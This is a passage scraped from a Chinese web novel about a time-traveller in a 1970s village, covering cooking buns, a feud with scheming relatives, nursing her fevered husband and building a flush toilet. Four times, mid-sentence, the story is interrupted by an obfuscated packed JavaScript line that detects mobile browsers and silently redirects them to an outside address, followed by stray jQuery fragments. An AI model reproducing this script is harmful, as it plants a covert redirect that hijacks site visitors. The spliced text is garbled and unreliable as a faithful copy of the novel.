她丝毫没感到生气,又咬了一口手上的包子:“包子更垫肚子,干活不容易饿,煮饺子多麻烦呀。不过你喜欢饺子,以后我经常给你做饺子吃。”她空间里有的是速冻饺子,就冲今天帕鲁的功劳,正好奖励他吃一个月当早餐。
谢泊明张了张嘴,明白她误会了自己的意思,他觉得包子和饺子没什么不同,区别在于一个有汤一个没汤,都好吃。可嘴巴笨拙不知如何解释,又怕越说越让她误会,最终只能干巴巴地蹦出两个字:“谢谢。”
第一笼包子苏青棠一口气吃了三个,剩下的全进了谢泊明的肚子。
第三笼包子刚出锅,隔壁院子里传来热闹的声音。
苏青棠听到大虎、小虎兴奋地嚷嚷着今天要吃肉,又听到王婶训斥孩子的声音,说肉要留着过节再吃。
她把每种口味的包子挑了两个装在搪瓷碗里:“小明,给隔壁送去,送完把碗拿回来。”
谢泊明站起身拍了拍腿上的灶灰,又去院里洗干净手,回厨房端起包子去隔壁。
王婶被孩子磨得头疼,孩子们都想吃肉,可前两天才吃过青棠送来的炒腊肉,咋能天天吃肉呢!再说过俩月就是端午,到时候把他们外公接过来一起吃顿肉。
许大强实在看不下去:“要不就给他们做点吧,这俩小子馋成啥样了。”
王婶正想唠叨他不当家不知油盐贵。家里没肉票,自家吃饭都紧巴巴的,也就刚好能不饿肚子。今天把肉吃了,孩子们胃口养刁了,明后天又想吃肉咋整?
说话间,谢泊明端着一碗包子走进院子。
乡下不兴锁门,乡亲邻居串门都是直接进院子,要是谁家成天把大门锁上才有问题。
大虎瞅见热气腾腾、香气扑鼻的包子,眼睛都瞪直了,一个劲儿地咽口水:“包子、包子!”
小虎凑到谢泊明身边,眼里满是渴望:“阿明哥,你端包子来我家是来干啥?”他下意识把手指含在嘴里,眼巴巴地期盼着能分他一个。
谢泊明把碗交给王婶:“碗,给我。”
王婶有点儿摸不着头脑:“你是来借碗的?”
谢泊明又重复了一遍:“包子,拿走。碗,给我。”
大虎兴奋地在他娘身边乱蹦:“娘!肯定是青棠姐姐给我们送包子!我要吃、我要吃!”
“我也要吃!”小虎不甘示弱地大喊。
王婶惊讶了一瞬间,反应过来把谢泊明往外推:“好东西你们自家留着,别总是给我们送来,你们小两口把日子过好。”
谁家都不富裕,青棠总是这么大方可不行,万一哪天苏卫国的抚恤金花完了,青棠可咋整啊。
在王婶眼里,苏青棠手脚大方过日子就是花着抚恤金。六百块钱是不少,可青棠才多大年纪,现在不把钱攒着,以后两个人的日子可就难熬了。
王婶的力气哪能推得动谢泊明。
他就跟座山似的纹丝不动,目光坚定,执拗地站着,王婶不把碗收下他不会离开。
王婶被气的无奈地笑了:“算了,我跟傻子争什么呢,我自个儿给青棠送回去。”
大虎和小虎瞬间一脸失望,他们好想吃包子,包子的香味一直往他们鼻子里钻。
小虎突然眼前一亮,爬上院墙边的梯子:“青棠姐姐,俺娘不要你家的包子。”
“你这死孩子!”王婶着急忙慌把孩子往下拽,许大强三两步上前把小虎从梯子上抱下来,对着屁股就是几巴掌。
苏青棠靠在厨房门口,听着隔壁的鸡飞狗跳,声音带着笑意冲着院墙隔壁喊道:“婶子,快点让阿明哥回来给我烧火,我锅里还蒸着呢,待会儿还要给李大娘和孙姐送点。”
听到她还要给别人家送,王婶担忧的心总算落回了原处,估摸着是今天分到了那么多的肉,再拒绝倒显得自己矫情。
王婶大声回应:“马上就让他回去,等我找个碗!”
大虎激动地跟在娘身后,小虎挨揍也不哭了,脸上的眼泪和鼻涕泡混在一起,只顾着傻笑。
谢泊明端着空碗回来,苏青棠又让他趁着天还没彻底黑透给李大娘和孙姐家各送一碗包子。
她假装回房间找东西,实则从空间掏出了拍草地野餐视频用过的竹编野餐篮,竹编制品跟这个时代一点都不违和,顶多就是稍微精巧一点。
苏青棠把两碗包子放进野餐篮,又在上面盖了一小块蓝白纹的格子布。
她专门叮嘱了一遍:“送完包子顺路喊爹过来,正好吃刚出锅的热乎包子。”
谢泊明拎着篮子出门,苏青棠把家里检查了一遍,确认没有任何能被发现的异样。
自从苏青棠成了苏家户主,这是谢老头第一次正式上门。
苏青棠招呼他进屋坐下,亲自去给他倒茶。
谢老头背着手环顾了一圈屋里,家具不算多,房间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16394809|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
收拾的干净整齐,地上铺了一层东西,还晓得把屋顶加固,果然是有在好好过日子,这让他放心了不少。
苏青棠在厨房问帕鲁:“李大娘和孙姐有说什么吗?”
谢泊明如实回答:“说了谢谢。”
苏青棠:...
她不如不问。
谢老头尝了一口韭菜鸡蛋馅的包子,对苏青棠做的包子口味很是满意:“想不到你厨艺不错啊。”
苏青棠笑吟吟地坐在边上:“您喜欢就多吃点,一会儿我再给您装几个带走。”
谢老头放下包子,摇了摇头:“你们留着自己吃吧,刚想夸你们会过日子,总是大手大脚给人送东西不好。”
苏青棠知道所有人都在担心她和帕鲁会过苦日子,对于谢老头还是可以稍微透露一点:“爹,您放心吧,做肉包子的馅是从山上带回来的野猪。您就算不相信我,也该相信阿明哥吧。”
她眨了眨眼,谢老头顿时明白了。难怪到处给人送,原来是家里的再不吃完就要放坏了。
谢老头并不知道谢泊明带回来的是一整头野猪。
“你们心里有数就好,面粉怕是不便宜吧?以后吃不完的肉全做成腊肉挂屋里,我看你们屋顶挺结实。”
打咩!
她才不要在自己睡觉的卧室里挂一堆腊肉呢!
苏青棠连忙换了个话题:“面粉是家里以前剩的,我看里面都生虫了,用筛子把虫子筛掉赶紧全用了。”
她当然不是用有虫子的面粉做包子,苏家一穷二白哪还有剩下的面粉。但大家更愿意相信她用的是生了虫的面粉,这样别人才不会替她心疼东西。
果不其然,一听面粉里面有虫子,谢老头当即称赞苏青棠是个会过日子的小姑娘:“是得赶紧用掉,幸好没浪费,等结成块想吃都不能吃了。”
等谢老头吃的差不多,苏青棠绕到了正题。
“爹,想在后院盖一间厕所,再把厨房重新盖一下。我家厨房太矮小了,阿明哥每次进门都得弓着腰,有好几次都撞到门框上了。”
谢泊明坐在她身边发呆,他虽然在放空,但是能听到身边人正在讨论的话题,他怎么不记得自己哪次撞门上了?
谢老头没犹豫就一口答应了:“行,我帮你留意一下,水泥恐怕不好买。”
苏青棠赶紧道:“没关系,用石头和石灰也可以。”
谢老头笑了笑,爽快接话:“这个简单,你看要多少,我找人帮你弄。”
时间不早了,谢老头起身回家,苏青棠把装满包子的野餐篮子塞进他怀里。
“爹,里面没多少,您不收下我们家就得顿顿吃了。”
谢老头无奈地摇了摇头,没再拒绝:“到底还是年轻人,还嫌上顿顿吃肉包子了,别人家想吃一顿肉得省半年呢。”
说着他又想起了分肉的情况:“对了,90斤肉全分了,有些家里人多的就给多切了二两。我替咱们四小队感谢你。虽说你在大队部是临时工,但由于你的无私奉献,我们决定年底授予你五好社员的称号,再给你报一个农业积极分子的评选名额。”
苏青棠免费送肉前没想到还能拿到这种荣耀,尽管不是实质性奖励,有称号总是能带来正面buff的。别人收了她的肉,以后想背后蛐蛐她都会不好意思。
谢老头回到家刚放下装包子的篮子,民兵营长李华毅急匆匆赶过来。
“大队长,仓库关着的李德志想爬天窗逃跑,从上面跳下来把腿摔断了。他娘哭天喊地撒泼,赖咱们把他们关着,才让她儿子摔断腿。”
谢老头气得太阳穴直跳:“他们人在哪儿呢?”
“在大队卫生室,赤脚医生说得送去县医院,或者找个会接骨头的中医给他接上。”
谢老头披上外套,戴上解放帽:“走,去看看,一天天净不让人省心。”
李德志低估了天窗外面的高度,他就跟中了邪似的一心想要从天窗逃走,结果跳下去两条腿都摔断了。
苏青棠都躺床上准备睡觉了,外面大门被人拍响。
她裹着被子翻了个身:“帕鲁,你去看看是谁,不论什么事一律说我睡了。”
大晚上肯定没好事,她才不去呢。
16. 讹人
大门外的李华毅交代了来龙去脉,急切的催促他:“快把青棠喊出来过去一趟,她外婆和舅舅嚷嚷着要见她,见不到她就要去医院检查,怕是要讹上她了。”
李华毅觉得能私了尽量私底下把事情处理了,找个老中医把骨头接上要不了几个钱,万一闹到医院可就得赔一大笔钱了。
说不定李德志打上了青棠父亲抚恤金的主意,故意翻窗户受伤讹钱。
他越想越觉得有道理,肯定是他们眼看抢不走青棠,就想从青棠手上弄一笔钱,不然哪愿意善罢甘休。李德志跟他娘这俩恶狼,肯定要从青棠身上撕下来一块肉。
谢泊明站在门口一动不动:“她、不去。”
李华毅误以为苏青棠不想见那对母子,才派傻子出来镇场,他没有丝毫犹豫:“行,你跟我去看看,有你在能把那俩人唬住。”
谢泊明跟着李华毅前往卫生室,刚到门口就听见里面传来李德志的嚎叫声。
“哎哟、哎哟,我的腿怕是要断了,我要是治不好,以后我就赖在你们大队不走,你们必须得对我负责。”
赵爱男更是坐在地上哭天抢地:“造孽啊,我儿子要是有个三长两短,咱们就去公社评评理。这是新社会,哪有像你们这样把人关在大队仓库的恶霸。我们只是来接外孙女回家,你们这是要杀人害命啊!”
随着谢泊明进屋,母子俩看见他,像是被掐住脖子的鸡,屋里瞬间按下了静音键。
谢泊明走到李德志面前,他压迫感极强,吓得对方挪着屁股连忙后缩,可躺在卫生室小小的病床上又能躲到哪儿去?
李德志恐惧至极,心中涌起绝望,强烈的悔恨淹没了他。早知道这一趟会踢到铁板,他说什么都不会来。
谢泊明抓住他的断腿,手上一个用力,李德志发出杀猪般的惨叫。
赵爱男吓得说不出话,死死瞪着眼睛,抖成筛子,不敢站起身阻拦,生怕自己的脖子被这样一招扭断。
谢泊明对李德志另一条腿做出了同样操作,在场所有人都听到一声清晰的“咔嚓”声。
李德志脸色惨白,没有一点血色。额头的汗水比翻了三亩地还多,刷刷往下流,头发全都湿透了。他整个人瘫软在床上,只有胸腔微弱的起伏,证明人还有一口气。
那一瞬间,他觉得自己像是被活生生撕开,又被粗暴地拼了回去,疼得眼前发黑,什么都听不见,仿佛魂都被扯出去了。
谢泊明嫌弃地出去洗手。
赵爱男壮着胆子扑到儿子身边,抱着他哭得死去活来,不知道的还以为李德志死了。
她跪在病床前,拍着床沿哭嚎:“要杀要剐冲老娘来,凭啥这么糟践我儿。断子绝孙的缺德玩意儿,你们不得好死!我儿要是有个三长两短,我就躺在公社门口,让所有人看你们胜利大队是怎么黑心害命的!”
赤脚医生实在受不了了,上前检查李德志的伤口。主要是这老太太太能闹了,她想下班回去睡觉。
刘慧在李德志腿上用力摁了一下,他条件反射抬腿,幸好刘慧躲得快,不然要被他一脚踢脸上。
刘慧没好气地翻了个白眼:“李德志,别装死了,你腿已经好了。”
她又无语地看向赵爱男:“大娘,你儿子还没死呢,你先别急着哭丧,刚刚谢同志帮你儿子把腿接好了。”
母子俩皆是一脸不可置信。那活阎王能干好事?不把她儿子腿弄断她可不相信。
李德志更不相信,他的腿要是好了,刚刚让他生不如死的痛苦算什么。
刘慧心里也纳闷呢,这傻子看着呆呆笨笨的,没想到出手这么专业,两下就把断腿接好了。
不过转念一想,傻子力气大,说不定就是运气好,直接把断的两根骨头怼上去了。
刘慧不是专业医生,只略通皮毛,不懂其中的原理。但她见过老中医接骨头,也是摸两下断裂的地方,趁病人不注意一个用力就安回去了。
所以说不准就是傻子运气好,既然腿康复了,跟她这草根医生没啥关系了,她要回家哄孩子睡觉。
赵爱男不愿意相信:“咋可能,你别想糊弄我们。你们大队的傻子不杀人放火就不错了,他还能给人看病?”
刘慧没好气道:“让你儿子下床走走不就知道了,腿在他身上长着,我还能帮他试试不成?”
李德志不愿意下床,刚刚经历的痛苦还历历在目,已经给他留下了深刻的阴影。
李华毅才不惯着他,抓着李德志的领子就要让他下床,李德志死死抱着床头不撒手。
赵爱男眼看又要开始嚎,谢泊明回来了。
他盯着李德志,一言不发。
李德志趁李华毅不注意,连忙趴回病床,用被子把自己遮得严严实实。
李华毅拿他没办法,大家都想回家,没空在这耗着。毕竟大队今天下午刚发了肉,说不定自家锅里还给自己留着肉呢。
谢泊明只用了一句话,就让李德志连滚带爬下了床。
“下来、不然、腿打断。”
李德志吓得屁滚尿流,一咕噜从床上跳下来,果不其然他的腿已经好了。
屋里众人对他投去鄙夷的目光,早就好了还在这闹事,说不定腿根本就没断。
至此,彻底没有人再同情这母子俩。
李德志和他娘被重新送去仓库,谢泊明亲自动手把俩人绑得结结实实,不用再让人守着。
苏青棠第二天到办公室才知道昨晚上的事。
谢泊明出去开门的时间,她没等到他回来就睡着了。一觉醒来就是早上五点多,在空间挑选近期要用的生活用品。
说来蛮可怜的,原身都17岁了还没来过生理期。苏青棠的记忆里原身连卫生用品都没有。她查过资料,这时候的卫生巾都是用麻布装草木灰,不透气还硌人,能把大腿磨破。
她能想到原身是营养不良导致的气血不足。但她自从穿越过来顿顿有荤有素,营养均衡,说不准哪天就来了。于是提前把生理用品全都拿出来准备好,免得哪天裤子遭殃了。
孙萍先是感谢了苏青棠做包子的手艺,素菜包子在她手上做得比肉包子还好吃,肉包子更是让孩子吃了还想吃。
“昨晚上我男人回去,说你家阿明可了不得了,两下子就把李德志的断腿给接回去了,不然你怕是要被讹上。”
苏青棠惊讶道:“原来昨晚是姐夫来敲门啊,早知道我出去看看呢,阿明哥回来的时候我都睡着了。”
孙萍调笑道:“他一个糙老爷们儿有啥好看的,倒是你得经常把你家阿明拉出来遛遛,谁不知道你捡了个宝啊!”
李大娘凑过来递给苏青棠两颗水煮蛋:“我儿媳妇早上多煮了两颗鸡蛋,让我给你带过来,要不是你家阿明,她昨晚还不知道多久才能回家睡觉呢。”
办公室的大家你一言我一语,苏青棠被夸得飘飘然,老天奶果然待她不薄,以及日常骂一句李德志活该。
谢老头最后一个来办公室,他手上拿着报纸。
“今天的报纸出来了,人家真给发断亲声明了。”
他把报纸放在苏青棠的桌上,大家连忙围过来。
断亲声明上面正巧是人间百态板块,用两百字讲述了一个孤女被亲戚争夺抚养权的故事。亲戚们各怀鬼胎,没有一个人是真心想要抚养孤女,结尾问大家该不该断亲,欢迎群众们来信谈谈见解。
苏青棠不得不佩服作者的笔力,这文风和语气,感觉像是昨天收她稿子那位主编。
大家七嘴八舌讨论了一会儿,很快到了上工的时间。
今天很奇怪,苏青棠等了很久,签到的时间过了,还没有看到帕鲁的身影。
她坐立不安,生怕他偷偷去山上发生了意外。
谢老头问她今天到岗人数,苏青棠咬了咬下唇,如实报出了帕鲁的名字。
没想到谢老头一拍额头,笑呵呵提醒她:“我就说有啥事给忘了,阿明发现黑熊有功劳。公社给他奖励了工分,他能在家歇半个月,不耽误你们家分粮。”
“其余奖励还没送过来,只先带回来了熊肉。”
苏青棠还是有点不放心:“现在正是农忙时节,阿明哥肯定不会趁现在歇着,我想回家看看。”
谢老头应允了:“这会子没啥事,十一点前回来就成。”
十一点要去地里巡逻一趟,查人数。
苏青棠锁上抽屉匆匆回了家,门上没有落
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16410573|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
锁,说明帕鲁这会儿在家里。
早上她出门的时候帕鲁还在睡觉,她以为他昨晚回来得晚在补觉,就没有打扰他。
苏青棠回到房间,被子里鼓起一个大包,帕鲁把脑袋裹得严严实实。
她上前轻手轻脚揭开被子,帕鲁脸颊通红,浑身滚烫。
她连忙推了推他肩膀:“帕鲁?小明?醒醒?”
谢泊明此时烧到意识模糊,感受到脸颊上的冰凉,下意识凑过去蹭了蹭。
苏青棠见他烧得失去意识,慌忙想去找医生。
刚跑到门口,她猛然想起来李大娘说过,她儿媳妇初中毕业后在家自学了《赤脚医生手册》,因为家庭成分好被推荐去卫校短期培训过三个月,结业后回来当的赤脚医生。
她默默退了回来,既然不敢贸然找赤脚医生,眼下只能自己先稳住帕鲁的体温。
她先用测温枪试了一遍他的体温,竟然40度了。
她又拿出水银温度计,甩了甩,塞进帕鲁胳肢窝按住,怕他无意识蹭掉。
苏青棠拿出酒精棉片擦拭他耳后、手腕等地方,没敢大面积在他身上擦拭,她记得物理降温得避开心脏附近。
她又拿出退热贴,开封皮轻轻贴在帕鲁的额头,指尖触碰到他滚烫的皮肤,隐隐有点心疼。
她倒了一瓶矿泉水,用棉签蘸着润了润他起皮的嘴唇,从他胳肢窝拿出了温度计,40.5度。
苏青棠只能给他喂了两颗最稳妥的退烧药,中午饭点要是还降不下去,下午就只能送去医院了。
尽管帕鲁烧得失去意识,但仍然乖乖配合吃药,只是总追着她冰凉的手蹭蹭。
苏青棠去打了一盆水,拧了条凉毛巾敷在他额头,帮他散热气。她每隔一会儿就摸一摸,毛巾温了就重新在水里涮涮,再重新敷回去。
照顾了他快两小时,苏青棠看时间得回去大队部了,她把床边东西都收起来,一股脑塞回空间,没时间整理。
临走前还回头看了一眼帕鲁,见他呼吸平稳了些,脸也没那么红了,这才稍微放心。
苏青棠回到办公室,拿上本子和笔得去地里查人了。
孙萍坐在她对面,手里转着笔冲她挤眉弄眼:“咋回去这么久?头发都汗湿了。”语气里带着过来人的揶揄。
苏青棠没心思跟她开玩笑:“阿明哥发烧了,我在家照顾他俩小时,退烧了才过来。”
孙萍立马收起打趣的笑意:“严重吗?咋不找医生?李大娘他儿媳妇看看发烧还可以的。”
苏青棠不是对实习生有偏见,只是培训过三个月就上岗的医生还是有风险的。
帕鲁本来挺聪明,万一烧傻了怎么办?
她手上有东西帮他治疗,看赤脚医生还是免了吧。真严重了她宁愿送他去医院,哪怕多花点钱也要把他治好。
“我搬不动他,我回家他都烧迷糊了,我娘生前教过我退烧的法子,还挺有用的,要是严重得不行,我肯定去找刘姐上门来帮他看看。”
孙萍点了点头:“也是,大老爷们生病都不爱去扎针,好面子喜欢硬扛着。”
苏青棠去地里查完人,上午的工作暂时告一段落。
她推开院门,就见帕鲁坐在屋檐下的小椅子上晒太阳,两条腿随意伸到台阶下,这腿可真长啊。
苏青棠见他精神不错,心里松了口气,下意识扬起笑脸:
“你醒了?有没有哪里不舒服?”
谢泊明醒来的时候闻到自己身上有淡淡的酒精气息,这次烧退得很快,说明自己生病的时候有人照顾过他,这个家唯一能自由进出的只有小姑娘了。
自己比她年长,却要让小姑娘来照顾他,真是羞愧。
他抬眼看着她:“谢谢。”
苏青棠莞尔一笑:“你想吃点什么?你刚退烧我们还是吃点清淡的吧,不如煮鱼汤?”
谢泊明早习惯了耗尽精神力就发烧的体质,以前都是自己在山洞里硬扛过去。这次被她忙前忙后照顾,感到受宠若惊。他原本以为,小姑娘带他回家是图个能干活的劳力,管吃管住已经够宽容,现在发现她是真的善良,对一个傻子都这么上心,反而让他忍不住担心她往后会吃亏。
17. 拾荒
苏青棠装上十来个包子,去张猎户家换了几条巴掌大的鲫鱼。
张猎户家的祖辈都是以打猎为生,后来枪支上交大队,不能继续干老本行。于是另辟蹊径,拿着鱼竿去河里钓鱼,大队谁家想吃鱼都能去他家换。
钓鱼是一门技术活,最开始也有人争相模仿,结果浪费半天时间根本钓不到一条,最后还是得找张猎户换鱼。
好在张猎户要价不贵,给点吃的或者是拿生活用品都能换到鱼。
苏青棠正要躲进厨房杀鱼,谢泊明跟进来,从她手上端走了搪瓷洗菜盆。
他蹲在院子里把鱼处理干净,没让苏青棠手上沾到一丁点血腥。
这次谢泊明特地询问苏青棠要不要内脏。
“不用,鱼的内脏没什么好吃的。”
苏青棠一拍脑门,想起来自己还没做腊肠。
她趁着煮鱼汤的功夫,让帕鲁把猪肉剁成肉末。
苏青棠把剁好的肉分装进两个大瓷盆,一个加了白糖和少许料酒调广味,另一个放了花椒粉和辣椒粉做川味腊肠。
广味腊肠可以做煲仔饭,川味的能炒菜。
她搬来小板凳让帕鲁在旁边看着,簸箕里放着撕掉标签的矿泉水瓶,尾部已经裁掉,出水口对准泡了一晚的肠衣。
“塞的时候要慢,手顺着肠衣轻轻捏,让肉馅在里面填严实,不能留空隙,你来试试?”
谢泊明接过瓶子,跟着照猫画虎,做出来的腊肠一模一样。
苏青棠点点头,孺子可教,于是继续教他给腊肠分段:“每根腊肠的长度大概控制在30厘米左右,用棉线在肠衣上打结,分成一段一段的,线要系紧,每段之间要留空隙,然后用针在肠衣上扎几个小孔,排掉里面的空气。”
谢泊明动手能力很强,苏青棠只讲了一遍他就能自己做,熟练得不像第一次。
苏青棠用肥皂洗掉手上的油渍,放心地把灌腊肠的任务交给他:“下午我得去大队部,这两盆肉馅就拜托你了。等腊肠风干,我给你做煲仔饭,再做个腊肠炒青椒,保证你没吃过。”
煤炉子上煮的鱼汤差不多好了,苏青棠在大锅里热了几个包子,午饭就是包子配鱼汤。
接下来的几天,家里的腊肠灌完晾上了,谢老头也帮忙弄到了石灰、沙子和石头。
苏青棠还在计划找人帮忙,谢泊明看到堆在院子里的材料,第二天就自己动手开始改造院墙。
她不是第一次知道帕鲁动手能力强,他亲自上手肯定比外人靠谱,干脆取消了请人的打算。农忙的时节大家都想多挣点工分,她不论喊谁都是欠人情。
谢泊明把苏家的围墙重新加固后,围墙不再像以前那么矮小,谁都能踮脚窥探到院子里;跟隔壁王家共用的那堵墙没有加固,平时隔壁有事的时候才会爬上梯子上墙吆喝。
既然不用请别人帮忙,苏青棠干脆把厕所和卫生间一起建了,反正只需要麻烦帕鲁一个人,她多给他做点好吃的。
厕所和浴室是重中之重,马上就初夏了。到了夏天必须得每天洗澡,厕所也要保持干净整洁,不能让院子里串味。
她记得自己看过的年代剧里,蹲厕也可以做简易抽水厕所,只是具体什么原理她并不了解。
苏青棠只能把自己想起来的画成图纸,希望帕鲁能理解她的意思。
谢泊明仅看一眼就明白了她的需求,只是当下并没有合适的工具。
“能做,没工具。”
苏青棠迫不及待问道:“需要什么?我来想想办法?”
谢泊明惜字如金:“铁皮、去废品站。”
于是俩人第二天大清早就搭着进城的牛车,前往废品回收站。
好巧不巧,王婶也在车上,她要回一趟娘家,她家就在县城。
苏青棠一路上坐立不宁,要不是自己的抽水厕所近在眼前,她才不想出门,尤其是坐破牛车,颠得她屁股痛。
到了城里,苏青棠小声问王婶:“婶子,你知道废品回收站在哪吗?”
王婶闻言心情复杂地看着她:“我娘家和废品站离得不远,咱们一路吧。”
她忧心忡忡地带着夫妻二人去废品站。这才刚结婚俩月,青棠就和傻子把日子过成了这样子,以后可怎么得了啊。
废品回收站比苏青棠想的干净多了。这年代只收工厂下来的生产性物资,还明令禁止收私人金属。
院里的废塑料、废轮胎和旧玻璃瓶等工业物资分类分区堆放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16421992|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的整整齐齐,空气里只有金属锈味,没垃圾乱堆,水泥地面打扫的挺干净。
“我家就在前面,要不去坐会儿?”王婶实在担心两个年轻人在回收站翻垃圾箱。
“不了婶子,我们得速战速决呢。”
苏青棠说话的时间,谢泊明已经埋头在垃圾堆里翻找,没找到又转去了废铁堆里。
王婶只得一步三回头的离开,心里忍不住叹气,
“日子都过到捡破烂的份上了,可怜呐...”
终于,谢泊明找到两个成色不错的铁皮桶。凭借着苏青棠的三寸不烂之舌,人家终于愿意通融,睁一只眼闭一只眼卖给她两个大铁桶和和几根长短不一的橡胶管。
在牛车等集合的时候,苏青棠又去供销社买了两包不要票的食盐和两米的布,以及一包火柴,又去回收站给人送去,路上她趁没人,从空间掏出一包水果糖藏在衣服里。
“你咋又过来了?”见她过来,回收站的负责人板着脸,刚刚就是这丫头七歪八绕,他迷迷糊糊的卖给她了两个铁桶和几根橡胶管。
虽然政策没那么严格,尚可利用的闲置废品可以按回收价折价处理给居民,但他就是不甘心,怎么被一个小丫头片子牵着走。
苏青棠心虚地眼神游移,把手上东西往对方怀里一塞:“大爷,我家里困难,没有票,只能买些不要票的生活用品给你送来,您跟大娘肯定能用上,谢谢你。”
说完她一溜烟跑了,留下还没反应过来的老头。
“这丫头,比兔子蹿得还快。”话是这么说,心里舒服了不少,看样子是个懂事的姑娘,没白瞎他卖出去的废品。
苏青棠气喘吁吁跑回来,对上帕鲁疑惑的眼神,她解释了自己刚刚的行为。
“我看老爷爷和老奶奶夫妻俩人守着废品回收站怪可怜的。咱们都知道是在政策范围内交易,万一他们有回收指标,咱们不是害了人家?所以我买了点生活用品送过去,不然我良心不安。”
苏青棠天生有种做销售的魔力,她很容易就能把产品推销出去。大二她们宿舍推销电话卡,她一个人光卖电话卡赚了一万多,另外几个人加起来都没有她挣得一半多。
即便如此,她不忍心坑老人。
18. 第 18 章
苏青棠最近总感觉大家看她的眼神怪怪的,好像一副欲言又止的样子,
终于,孙萍忍不住了,她下班后在办公室多留了一会儿,特地叫住她,面色担忧地问道:“青棠,你最近是不是遇到什么困难了?”
苏青棠心想终于来了,她心里还莫名其妙呢。
“没有啊,最近日子照常过呢。”她的厕所和卫生间快要完工了,别提有多高兴。
孙萍压低声音小声道:“前一阵儿你跟你男人进城是不是捡破烂去了?”
苏青棠一脸雾水,这都过去多久了,俩铁皮桶都被帕鲁改造成水箱了。
“是去捡了两个铁皮桶,我们付了钱的,孙姐你是听谁说的?”
王婶肯定不是大嘴巴。
孙萍心情复杂地望着她:“那天你们俩是不是在牛车上讨论翻垃圾来着?车上的人都知道了,现在大家私底下都在议论,没事就好。”
苏青棠不禁汗颜:“花钱买的也不算捡吧?我最近不是在重新弄厕所吗,我晚上不敢出门,就在院子里搭一个厕所,铁桶用来做冲水箱,没想到被大家误会成这样了。”
孙萍想了想提醒她:“既然大家误会了,干脆别去解释了,这年头谁家不是过苦日子,去废品站捡破烂怎么了,又没去垃圾堆里刨食,再往前些年大家谁不是连树皮都抢着吃。”
苏青棠瞬间明白了孙萍的暗示:“嗯,我也没想去解释,我过好我的日子就行。”
“你这丫头心真大,算是好事吧,不管别人说什么都不耽误你关起门来过日子。”
之前因为父亲抚恤金的事,有些人明里暗里问她这笔钱要怎么处理,言下之意就是想借钱。
苏青棠当时糊弄了过去,但很不爽。这下大家都知道她和帕鲁靠捡破烂过日子,谁还好意思开口问她借钱。
回家第一件事,就是检查家里的厕所。帕鲁不知道怎么折腾的,真根据她的图纸一比一还原了她看过的年代剧里的抽水厕所。
他用旧铁皮桶做了个水箱挂在蹲厕上方,桶底
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16427071|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
接一根管子通到蹲坑,安了个木塞当开关。要冲水时拔开木塞,桶里的水顺着管子冲下去,脏东西就流进提前挖好的暗沟里,比普通旱厕干净多了,味道也没那么大。
另一个铁皮桶当储水箱,在浴室屋顶固定好,桶底钻一个孔连接细管,管子顺着墙缝接到浴室;平时烧好热水、兑好凉水倒进铁桶,洗澡时打开管子上的开关,水顺着管子流进浴室,一桶水用完了,再重新烧水倒进去。
厕所和浴室专门做的是平层屋顶,苏青棠本来还想做个简易的太阳能,其实就是夏天把大铁桶灌满凉水,用太阳暴晒一天,这样就是太阳能了。
可惜这种方法不适合现在的季节,这一阵的太阳晒不热一箱水。
不过能做到现在这种地步她已经心满意足了,浴室和厕所解决了,接下来就是改造厨房。
关于厨房苏青棠想了很多种设计方案,最后决定还是先把现在的厨房推倒重建,家里的厨房跟卫生完全挂不上钩,房檐的黑灰和蜘蛛网她忍很久了。